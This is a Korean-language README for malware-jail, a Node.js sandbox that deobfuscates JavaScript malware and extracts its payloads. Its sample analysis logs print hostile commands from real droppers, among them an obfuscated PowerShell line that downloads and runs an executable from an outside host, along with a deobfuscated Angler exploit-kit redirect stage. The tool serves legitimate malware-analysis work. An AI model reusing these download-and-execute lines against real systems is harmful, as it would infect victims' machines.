
반자동 JavaScript 악성코드 분석, 난독화 해제 및 페이로드 추출을 위한 샌드박스입니다. Node.js로 작성되었습니다.
반자동 JavaScript 악성코드 분석, 난독화 해제 및 페이로드 추출을 위한 샌드박스. Node.js로 작성됨.
malware-jail은 Node의 'vm' 샌드박스를 위해 작성되었습니다. 현재 WScript(Windows Scripting Host) 컨텍스트 env/wscript.js를 구현하며, 악성코드가 자주 사용하는 부분을 최소한으로 포함합니다. 인터넷 브라우저 컨텍스트는 부분적으로 구현되었습니다 env/browser.js.
모든 운영 체제에서 실행 가능합니다. Linux, Node.js v6.6.0에서 개발 및 테스트되었습니다.
일부 ES6 기능을 사용하므로 Node.js >= 6.x가 필요합니다.
분석된 악성코드 샘플은 EXAMPLES를 참조하세요.
새로운 악성코드 샘플이 있으면 javascript-malware-collection에 이슈 또는 풀 리퀘스트로 제출해 주세요.
WMI 쿼리를 파일로 열거: wmis.json
새로운 매개변수 추가:
--t404 - http 요청이 항상 HTTP/404를 반환하고 예외를 발생시킵니다. 이는 모든 원격 URL을 열거할 수 있게 합니다.
이제 URL이 urls.json에 저장됩니다. 최신 EXAMPLES#malware-of-issue-14 참조.
다양한 버그 수정 및 개선.
다양한 버그 수정 및 개선.
새로운 매개변수 추가:
-t msecs - 실행 시간을 "msecs" 밀리초로 제한하며, 기본값은 60초입니다.
--h404 - http 요청이 항상 HTTP/404를 반환하고 예외를 발생시키지 않습니다. 이는 모든 원격 URL을 열거할 수 있게 합니다.
malware-jail은 minimist, iconv-lite 및 entities 위에 구축되었습니다.
git으로 소스 가져오기:
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail
그런 다음 다음 명령으로 모든 종속성(minimist, entities, iconv-lite)을 설치합니다:
npm install
아직 사용할 수 없음, 곧 제공 예정 ...
실제 악성코드로 작업할 때는 주의하세요. 이 샌드박스를 인식하는 악성코드는 탈출하여 PC에 해를 끼칠 수 있습니다. 권한이 없는 Linux 계정 또는 가상화된 Windows 머신 내에서 실행하는 것이 좋습니다. malware 폴더의 Angler 파일은 비활성화되어 있지 않습니다.
bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, 악성코드 샌드박스 ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - 사용법: node jailme.js [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 - [-o ofile] [-b id] \
7 May 20:54:52 - [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 - -c config .. 대체 설정 파일 사용, ./로 시작
7 May 20:54:52 - -e ifile ... 특정 환경을 시뮬레이션하는 js
7 May 20:54:52 - -o ofile ... 마지막에 샌드박스를 덤프할 파일 이름
7 May 20:54:52 - -s odir ... 생성된 파일(악성코드 페이로드)의 출력 디렉토리
7 May 20:54:52 - -b id ... 브라우저 유형, 가능한 값은 -b list 사용
7 May 20:54:52 - -t msecs ... 실행 종료 전 밀리초 수, 기본값 1분
7 May 20:54:52 - --trace ... 모든 로그 줄에 스택 추적 출력
7 May 20:54:52 - --down ... 원격 서버에서 악성코드 페이로드 다운로드 허용
7 May 20:54:52 - --h404 ... 다운로드 시 항상 HTTP/404 반환
7 May 20:54:52 - malware ... 악성코드 코드가 있는 js
7 May 20:54:52 - 인수가 지정되지 않으면 기본값은 config.json에서 가져옴
7 May 20:54:52 - 가능한 -b 값: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]
examples 폴더에 비활성화된 악성코드 파일이 있습니다. 다음 명령으로 분석을 실행하세요:
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js
인터넷 브라우저 기반 악성코드는 다음으로 테스트할 수 있습니다:
node jailme.js -b IE11_W10 malware/example_browser.js
분석이 끝나면 완전한 샌드박스 컨텍스트가 'sandbox_dump_after.json' 파일에 덤프됩니다.
_'sandbox_dump_after.json'_의 다음 항목을 검토할 수 있습니다:
_'sandbox_dump_after.json'_은 JSONPath를 사용하며, JSON-js/cycle.js에 의해 구현되어 동일한 개체에 대한 중복 또는 순환 참조를 저장합니다.
bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - 악성코드 샌드박스 ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - 샌드박스 환경 시퀀스: env/eval.js,env/wscript.js
11 Jan 00:06:24 - 악성코드 파일: malware/example.js
11 Jan 00:06:24 - 샌드박스 덤프 출력 파일: sandbox_dump_after.json
11 Jan 00:06:24 - 생성된 파일 출력 디렉토리: output/
11 Jan 00:06:24 - ==> 샌드박스 환경 준비 중.
11 Jan 00:06:24 - => 실행 중: env/eval.js
11 Jan 00:06:24 - eval() 호출을 가로채도록 샌드박스 준비 중.
11 Jan 00:06:24 - => 실행 중: env/wscript.js
11 Jan 00:06:24 - WScript 환경을 에뮬레이션하도록 샌드박스 준비 중.
11 Jan 00:06:24 - ==> 악성코드 파일 실행 중.
11 Jan 00:06:24 - => 실행 중: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - 생성됨: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - 생성됨: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] 데이터를 보내지 않음, 원격 서버와 상호작용하려면 --down=y 설정
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] 더미 데이터로 onreadystatechange() 호출
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - 생성됨: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> 스크립트 실행 완료, 샌드박스 환경을 파일로 덤프 중.
11 Jan 00:08:42 - 저장 중: output/_TEMP__49629482.dll
11 Jan 00:08:42 - 저장 중: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - 생성된 파일 저장됨
11 Jan 00:08:42 - 생성된 파일 저장됨
11 Jan 00:08:42 - 샌드박스 컨텍스트가 sandbox_dump_after.json에 저장되었습니다.
위 예제에서 페이로드는 output/_TEMP__49629482.dll과 output/_TEMP__38611354.pdf로 추출되었습니다.
malware 폴더에는 실제 악성코드 샘플이 포함되어 있습니다. 대부분 https://malwr.com에서 다운로드되었습니다.
완전한 악성코드 샘플 인덱스는 EXAMPLES를 참조하십시오.
malwr.com에서 악성 스크립트 가져오기: Wileen.js
분명히 이 악성코드는 브라우저 내에서 실행되면 실행되지 않습니다:
if (typeof document == "undefined") {
따라서 브라우저/DOM 구성 요소를 로드하지 않는 대체 설정 파일을 사용할 수 있습니다:
node jailme.js --down=y -c ./config_wscript_only.json malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
Powershell의 흥미로운 사용:
1 Oct 13:05:34 - => 실행 중: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
1 Oct 13:05:34 - ActiveXObject(WScRipT.SHEll)
1 Oct 13:05:34 - 생성됨: WScript.Shell[1]
1 Oct 13:05:34 - WScript.Shell[1].Run(cmD.EXE /c POWE^R^s^he^lL.eXE -ExEc^U^Tio^n^p^oLIC^y^ B^Y^pas^S -NOpro^Fi^L^e^ -^W^InD^Ow^sT^yle^ HI^ddeN^ (^Ne^W^-^OBJ^ecT^ S^YST^EM.net.Webc^L^I^E^n^T^).^dOWn^L^Oa^d^fI^lE^(^'http://click.doubledating.ru/js/boxun4.bin','%appdatA%.exE')^;^stA^Rt-^p^rO^c^eS^s ^'%aPpdata%.eXe', false, undefined)
1 Oct 13:05:34 - ==> 샌드박스 정리 중.
1 Oct 13:05:34 - ==> 스크립트 실행 완료, 샌드박스 환경을 파일로 덤프 중.
1 Oct 13:05:34 - 샌드박스 컨텍스트가 sandbox_dump_after.json에 저장되었습니다.
로그 파일: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.out
malwr.com에서 악성 JavaScript 가져오기: ORDER-10455.js
먼저 원격 서버와의 상호작용 없이 실행:
node jailme.js malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js
다음과 같은 결과가 나타납니다:
...
29 Sep 23:17:21 - eval() 호출 번호: 5
29 Sep 23:17:21 - ActiveXObject(MSXML2.XMLHTTP)
29 Sep 23:17:21 - 생성됨: MSXML2.XMLHTTP[9]
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].open(GET,http://caopdjow.top/user.php?f=0.dat,false)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9] 데이터를 보내지 않음, 원격 서버와 상호작용하려면 --down=y 설정
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].responseBody = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status = '200'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined) 완료
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status.get() => 200
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - ActiveXObject(Scripting.FileSystemObject)
29 Sep 23:17:21 - Scripting.FileSystemObject[10] 생성됨.
29 Sep 23:17:21 - Scripting.FileSystemObject[10].GetSpecialFolder(2)
29 Sep 23:17:21 - ActiveXObject(ADODB.Stream)
29 Sep 23:17:21 - 생성됨: ADODB_Stream[11]
29 Sep 23:17:21 - ADODB_Stream[11].Open()
29 Sep 23:17:21 - ADODB_Stream[11].Type = '1'
29 Sep 23:17:21 - ADODB_Stream[11].content = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)'
29 Sep 23:17:21 - ADODB_Stream[11].Write(str) - 10000 bytes
29 Sep 23:17:21 - ADODB_Stream[11].size = '10000'
29 Sep 23:17:21 - ADODB_Stream[11].Position = '0'
29 Sep 23:17:21 - ADODB_Stream[11].SaveToFile(Special_Folder__2\w8z05i7y2.exe, 2)
29 Sep 23:17:21 - ADODB_Stream[11].content.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - ADODB_Stream[11].Close()
29 Sep 23:17:21 - ActiveXObject(WScript.Shell)
29 Sep 23:17:21 - 생성됨: WScript.Shell[12]
29 Sep 23:17:21 - WScript.Shell[12].Run(Special_Folder__2\w8z05i7y2.exe, undefined, undefined)
29 Sep 23:17:21 - 반환: 'undefined'
29 Sep 23:17:21 - ==> 샌드박스 정리 중.
29 Sep 23:17:21 - ==> 스크립트 실행 완료, 샌드박스 환경을 파일로 덤프 중.
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - 저장 중: output/Special_Folder__2_w8z05i7y2.exe
29 Sep 23:17:21 - 생성된 파일 저장됨
29 Sep 23:17:21 - 샌드박스 컨텍스트가 sandbox_dump_after.json에 저장되었습니다.
"표준적인" 난독화 해제 동작으로 보이며, 최종적으로 exe 바이너리를 다운로드하여 실행하는 것으로 보입니다.
실제 페이로드를 얻으려면 '--down=y'로 실행하세요:
node jailme.js --down=y malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js > malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out
로그 파일: malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out
malwr.com에서 악성 JavaScript 가져오기: Norri.js
실행:
node jailme.js --down=y malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
결과:
30 Sep 01:02:11 - => 실행 중: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
30 Sep 01:02:11 - Strict 모드: false
30 Sep 01:02:11 - eval() 호출 번호: 1
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - 생성됨: WScript.Shell[9]
30 Sep 01:02:11 - WScript.SpecialFolders(Desktop)
30 Sep 01:02:11 - WScript.CreateShortcut(Desktop/?eno.lnk)
30 Sep 01:02:11 - 생성됨: WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/HEAD/Desktop/?eno.lnk)
30 Sep 01:02:11 - WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/HEAD/Desktop/?eno.lnk).FullName.get() => Desktop/?eno.lnk
30 Sep 01:02:11 - WScript.CreateObject(Scripting.FileSystemObject)
30 Sep 01:02:11 - Scripting.FileSystemObject[11] 생성됨.
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - 생성됨: WScript.Shell[12]
30 Sep 01:02:11 - WScript.CreateObject(MSXML2.XMLHTTP)
30 Sep 01:02:11 - 생성됨: MSXML2.XMLHTTP[13]
30 Sep 01:02:11 - WScript.CreateObject(ADODB.Stream)
30 Sep 01:02:11 - 생성됨: ADODB_Stream[14]
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetSpecialFolder(2) => TemporaryFolder/
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetTempName() => TempFile[15]
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].open(GET,http://girlx.tornadodating.ru/js/boxun4.bin,0)
30 Sep 01:02:11 - MSXML2.XMLHTTP[13] string true
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async = 'false'
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async.get() => false
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].send(undefined)
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange(), readyState = 4 length: 196608 status: 200
30 Sep 01:02:15 - MSXML2.XMLHTTP[13] statusText = null
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].responseBody = 'MZ?@?!?L?!This program cannot be ... (truncated)'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].status = '200'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange() undefined
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].send(undefined) 완료
30 Sep 01:02:15 - ADODB_Stream[14].type = '1'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:15 - ADODB_Stream[14].Open()
30 Sep 01:02:15 - ADODB_Stream[14].content = 'MZ?@?!?L?!This program cannot be ... (truncated)'
30 Sep 01:02:15 - ADODB_Stream[14].Write(str) - 196608 bytes
30 Sep 01:02:15 - ADODB_Stream[14].size = '196608'
30 Sep 01:02:15 - ADODB_Stream[14].SaveToFile(TemporaryFolder/TempFile[15], undefined)
30 Sep 01:02:15 - ADODB_Stream[14].content.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:15 - ADODB_Stream[14].Close()
30 Sep 01:02:15 - WScript.Shell[12].Run(cmd.exe /c TemporaryFolder/TempFile[15], 0, undefined)
30 Sep 01:02:15 - Scripting.FileSystemObject[11].DeleteFile(script_full_name.js)
30 Sep 01:02:15 - ==> 샌드박스 정리 중.
30 Sep 01:02:15 - ==> 스크립트 실행 완료, 샌드박스 환경을 파일로 덤프 중.
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:16 - 저장 중: output/TemporaryFolder_TempFile[15]
30 Sep 01:02:16 - 생성된 파일 저장됨
30 Sep 01:02:16 - 샌드박스 컨텍스트가 sandbox_dump_after.json에 저장되었습니다.
동작은 로그에서 명확합니다. 페이로드는 output/TemporaryFolder_TempFile[15] 파일로 추출되었습니다.
로그 파일: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.out
ANGLER EK SENDS CRYPTOWALL에서 pcap 파일로 Angler EK를 다운로드하여 malware/angler/angler_full.html로 추출합니다.
Angler가 아닌 부분을 제거하고 malware/angler/angler_stripped.html로 저장합니다.
<script> 태그를 제거하고 필요한 <div> 태그를 다음과 같이 변환합니다:
document._addElementById(id, content);
그리고 malware/angler/angler.js로 저장합니다.
분석 실행:
node jailme.js malware/angler/angler.js
결과를 angler_output.txt로 캡처:
node jailme.js malware/angler/angler.js > malware/angler/angler_output.txt
최종 단계 난독화 해제:function() { if (document.body != null && typeof document.body != "undefined") { clearInterval(zfxhYOGvfrlHUNJrZufQnWPtohkYAQEEdV); if (typeof window["v_bcd50d9482665cd4e129a272c76799e6"] == "undefined") { window["v_bcd50d9482665cd4e129a272c76799e6"] = 1; var YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr = (DfPJmMLOnxPanSoeHQuOrDdSoCPJGAaRhYURtgyUD() && CCtJDLZQbieboJvsIyatBMZhUvTpzaQcyCXR()); var YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW = !YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !!window.chrome && window.navigator.vendor === "Google Inc."; var rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia = -1; var NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS = "http://beladonna33.ga/052F"; if (hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW() && rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia == 1) { if ((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) { location.replace(NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS) } else { window.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS; document.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS } } else { if ((YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW && !hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW())) { var blDiNORLBvDHjFRqgxXSMVgnfhriGmw = "<div style="position:absolute;left:-2808px;">"; var wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL = document.getElementsByTagName("div"); if (wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length == 0) { document.body.innerHTML = document.body.innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } else { var dl_name = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length; var eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc = Math.floor((dl_name / 2)); wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } } } } OncYaaSjwrEWhyHWevaHtkypMUSZxnIrtIK() } }
MIT 라이선스 (MIT)
Copyright (c) 2016 Hynek Petrak
이 소프트웨어와 관련 문서 파일(이하 "소프트웨어")의 복제본을 획득하는 모든 사람에게는, 아래 조건에 따라 소프트웨어를 제한 없이 사용, 복제, 수정, 병합, 게시, 배포, 서브라이선스 및/또는 판매할 수 있는 권리와, 소프트웨어를 제공받은 사람이 이를 행할 수 있도록 허가하는 권리가 무료로 부여됩니다.
위 저작권 고지와 본 허가 고지는 소프트웨어의 모든 복제본 또는 주요 부분에 포함되어야 합니다.
소프트웨어는 "있는 그대로" 제공되며, 상품성, 특정 목적에의 적합성 및 비침해에 대한 묵시적 보증을 포함하여 어떠한 명시적이거나 묵시적인 보증도 없습니다. 어떠한 경우에도 저작자나 저작권 보유자는 소프트웨어 또는 소프트웨어의 사용 또는 기타 거래로 인해 발생하는 계약, 불법 행위 또는 기타 행위로 인한 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다.